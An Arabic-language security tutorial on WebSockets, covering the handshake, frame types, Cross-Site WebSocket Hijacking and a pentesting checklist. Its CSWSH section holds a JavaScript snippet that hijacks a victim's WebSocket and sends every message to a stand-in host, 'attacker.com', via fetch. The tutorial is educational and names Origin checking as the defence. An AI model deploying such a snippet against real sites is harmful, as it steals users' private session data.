WebSockets — لما الاتصال العادي بـ HTTP مبيبقاش كافي
ليه احتجنا بروتوكول تاني غير HTTP؟
الـ HTTP مبني على فكرة Request-Response: إنت بتطلب، السيرفر بيرد، والاتصال بيقفل. الفكرة دي تمام لصفحة موقع عادية، لكنها بتبقى مشكلة كبيرة لو محتاج تحديثات لحظية مستمرة — زي شات لايف، تداول أسهم، أو لعبة أونلاين. لو هتعتمد على HTTP هنا، هتضطر تعمل Polling — يعني تبعت طلب جديد كل ثانية وتسأل “فيه جديد؟"، وده مضيعة موارد فظيعة وبطيء. الحل كان WebSocket — بروتوكول بيسمح باتصال ثنائي الاتجاه (bi-directional) يفضل مفتوح بين المتصفح والسيرفر، بحيث أي طرف يقدر يبعت رسالة في أي وقت من غير ما يحتاج يبدأ طلب جديد كل مرة.
إزاي الاتصال بيبدأ؟ (الـ Handshake)
الاتصال بيبدأ كـ HTTP request عادي، وبعدين بيتحوّل (Upgrade) لـ WebSocket:
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
السيرفر بيرد بـ Status Code مميز:
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: (hashed key)
بعد الرد ده، الاتصال بيتحوّل بالكامل لـ WebSocket، ويفضل مفتوح لحد ما أي طرف يقفله.
مقارنة WebSocket بـ HTTP
| العنصر | HTTP | WebSocket |
|---|---|---|
| نوع الاتصال | طلب-رد (Request-Response) | اتصال دائم (Persistent) |
| الاتجاه | من العميل للسيرفر بشكل أساسي | ثنائي الاتجاه (Duplex) |
| الأداء | أبطأ في التحديثات اللحظية | أسرع بكتير للـ real-time |
| الاستخدام | مواقع عادية | شات، ألعاب، تداول لحظي |
شكل البيانات جوا WebSocket
بعد الاتصال، البيانات مبتتبعتش بصيغة HTTP، بل كـ Frames:
- Text Frame
- Binary Frame
- Ping / Pong (لفحص إن الاتصال لسه شغال)
- Close Frame (لإنهاء الاتصال)
ليه WebSocket مساحة خصبة جدًا للثغرات؟
النقطة الحرجة اللي كتير من المطورين بينساها: حماية الـ Same-Origin Policy وCORS، اللي شرحناها في ملف منفصل، بتنطبق بشكل مختلف على WebSocket. الـ WebSocket handshake الأولي هو HTTP request عادي، وبيحمل معاه الكوكيز تلقائيًا زي أي طلب تاني — لكن الـ SOP التقليدي مش بيحجب اتصال WebSocket من دومين مختلف بنفس الصرامة اللي بيحجب بيها fetch/XHR العادية. النتيجة: هجوم اسمه Cross-Site WebSocket Hijacking (CSWSH).
إزاي بيشتغل الـ CSWSH؟
- المهاجم بيعمل صفحة HTML فيها JavaScript بيبدأ اتصال WebSocket مع الموقع المستهدف.
- الضحية (اللي عنده session نشط على الموقع المستهدف) يفتح صفحة المهاجم.
- المتصفح بيبعت الـ WebSocket handshake ومعاه كوكيز الضحية تلقائيًا (زي أي طلب cross-site عادي).
- لو السيرفر مش بيتحقق من الـ
Originheader في الـ handshake، بيقبل الاتصال، ويبدأ يبعت للمهاجم بيانات حساسة بتاعة الضحية عبر الـ WebSocket المفتوح ده.
// Attacker's page — establishes a WebSocket connection using the victim's session
var ws = new WebSocket("wss://vulnerable-target.com/chat");
ws.onmessage = function(event) {
// Exfiltrate every message received to the attacker's server
fetch("https://attacker.com/log?data=" + encodeURIComponent(event.data));
};
الحماية الأساسية من الهجوم ده إن السيرفر يتحقق من الـ Origin header في الـ handshake request نفسه ويرفض أي اتصال جاي من دومين غير موثوق — نفس المبدأ اللي بيحمي منه الـ CORS في طلبات الـ HTTP العادية.
ازاي تفحص WebSocket كـ Pentester؟
أدوات الفحص
- DevTools في المتصفح: افتح Network tab، فلتر على WS، وشوف الرسائل في تبويب “Messages” — بتشوف كل frame اتبعت واتستقبل بشكل حي.
wscatأداة CLI للاتصال والاختبار اليدوي:
npm install -g wscat
wscat -c ws://example.com/socket
بعد الاتصال، تقدر تبعت رسالة يدويًا:
{"type":"ping"}
- Burp Suite: بيدعم اعتراض وتعديل رسائل WebSocket مباشرة، وده أقوى أداة للاختبار العملي لأنك تقدر تعدل أي frame قبل ما يوصل.
نقاط الفحص الأساسية
- هل فيه توثيق واضح للـ handshake (Auth headers أو token)؟ ولا الاتصال بيعتمد على الكوكيز بس؟
- هل السيرفر بيتحقق من الـ
Originheader؟ (فحص CSWSH) - هل تقدر تعدّل محتوى الرسائل يدويًا وتبعتها؟ جرب payloads لـ:
- IDOR جوا رسائل الـ WebSocket نفسها (زي
{"action":"getOrder","id":123}→ غيّر الـ ID). - Broken Access Control — هل رسائل معينة المفروض تكون للـ admin بس شغالة مع أي مستخدم؟
- Injection (JSON Injection، أو حتى SQLi لو السيرفر بيعالج محتوى الرسالة داخليًا بدون sanitization).
- IDOR جوا رسائل الـ WebSocket نفسها (زي
- هل الاتصال عبر
wss://(مشفر) ولاws://(مكشوف تمامًا زي HTTP العادي)؟ - هل السيرفر بيتحقق من الصلاحيات مع كل رسالة بعد الاتصال، ولا بيثق في التوكن بتاع أول handshake بس ويسيب باقي الاتصال بدون فحص إضافي؟ النقطة دي مهمة جدًا لأن اتصال WebSocket بيفضل مفتوح لفترة طويلة، فلو الصلاحيات اتغيرت (زي logout أو تغيير role) والاتصال القديم لسه شغال بدون revalidation، ده ثغرة منفصلة.